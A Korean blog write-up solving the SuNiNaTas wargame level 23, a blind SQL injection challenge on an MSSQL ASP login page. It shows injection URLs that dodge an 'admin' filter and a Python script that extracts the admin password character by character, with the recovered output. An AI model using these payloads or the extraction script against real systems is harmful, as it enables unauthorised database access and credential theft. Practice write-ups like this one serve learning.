Write-up

[SuNiNaTas] level 23

ch4rli3kop 2019. 4. 13. 21:55
반응형

Suninatas level 23

keyword : blind sql injection

<!-- Hint 1 : guest / guest & Your goal is to find the admin's pw -->
<!-- Hint 2 : Bypass 'admin' string -->

이전 문제랑 거의 비슷한데, 막 쿼리 제한있고(30자) admin도 filtering 되어있고 뭐 그래서 좀 힘들었따. 특히 Mssql이라서 mid()도 없고, 30자 제한 때문에 left나 right 만으로 다 못해서, 결국 쪼개서 진행했다... ㅠ

우선, 패스워드의 길이를 알아내었고, 글자 수 제한때문에 첫 번째 글자까지만 알 수 있다. v라는 걸 알 수 있다.

http://suninatas.com/Part_one/web23/web23.asp?id=adm'%2B'in' and len(pw)=12--&pw=1234
http://suninatas.com/Part_one/web23/web23.asp?id=adm'%2B'in'and%20left(pw,1)='{}'--&pw=1234

여기서 이용할 수 있는게, id를 지정해주지 않으면 해당 컬럼에 있는 것들을 모두 참조한다는 것이다. 예를 들어, 본 문제에서는 guest와 admin이 존재하는데, id를 제대로 지정하지 않으면 left(pw,1)='g'도 참이고 left(pw,1)='v'도 참이다. 해당 방법을 이용하면 id 없이 패스워드를 알아낼 수 있다.

다만 글자 수 제한때문에, 2글자를 구하지 못하는데 이는 id를 admin으로 지정한 상태롤 right()를 이용하여 한 글자를 알아낸 뒤, id 없이 right()를 이용하여 남은 글자까지 알아내는 방식으로 진행하면 된다.

import urllib.request
import string

array = string.printable
cookie = 'ASPSESSIONIDCSAARTSC=KELNKLFBEBIHLHILKGKJNOBN; auth%5Fkey=%3F%3F%3F%3F%3F; ASPSESSIONIDSQDCQQTD=PDPHOHCCIHILGKBBHBPLHGCI'

leak = ''

for i in array:
   target = "http://suninatas.com/Part_one/web23/web23.asp?id=adm'%2B'in'and%20left(pw,1)='{}'--&pw=1234"
   re = urllib.request.Request(target.format(i))
   re.add_header("Cookie",cookie)
   try:
       data = urllib.request.urlopen(re).read().decode('utf-8')
   except:
       continue
   if 'OK' in data:
       leak += i
       print(leak)
       break

for j in range(2, 11):
   for i in array:
       target = "http://suninatas.com/Part_one/web23/web23.asp?id='or%20left(pw,{})='{}'--&pw=1"
       re = urllib.request.Request(target.format(j,leak+i))
       #print(target.format(j, leak+i))
       re.add_header("Cookie",cookie)
       
       try:
           data = urllib.request.urlopen(re).read().decode('utf-8')
       except:
           continue
       
       if 'OK' in data:
           leak += i
           print(leak)
           break

reversed_s = ''
for i in array:
   target = "http://suninatas.com/Part_one/web23/web23.asp?id=adm'%2b'in'and%20right(pw,1)='{}'--&pw=1"
   re = urllib.request.Request(target.format(i+reversed_s))
   #print(target.format(i+reversed_s))
   re.add_header("Cookie",cookie)
       
   try:
       data = urllib.request.urlopen(re).read().decode('utf-8')
   except:
       continue
       
   if 'OK' in data:
       reversed_s = i + reversed_s
       print(leak+reversed_s.zfill(2))
       break

for i in array:
   target = "http://suninatas.com/Part_one/web23/web23.asp?id='or%20right(pw,2)='{}'--&pw=1"
   re = urllib.request.Request(target.format(i+reversed_s))
   #print(target.format(i+reversed_s))
   re.add_header("Cookie",cookie)
       
   try:
       data = urllib.request.urlopen(re).read().decode('utf-8')
   except:
       continue
       
   if 'OK' in data:
       reversed_s = i + reversed_s
       print(leak+reversed_s)
       break

'''
v
v3
v3r
v3ry
v3ryh
v3ryha
v3ryhar
v3ryhard
v3ryhards
v3ryhardsq
v3ryhardsq0i
v3ryhardsqli


반응형

'Write-up' 카테고리의 다른 글

[Python Challenge] level 1  (0) 2019.04.13
[Python Challenge] level 0  (0) 2019.04.13
[SuNiNaTas] level 22  (0) 2019.04.13
[SuNiNaTas] level 8  (0) 2019.04.13
[SuNiNaTas] level 7  (0) 2019.04.13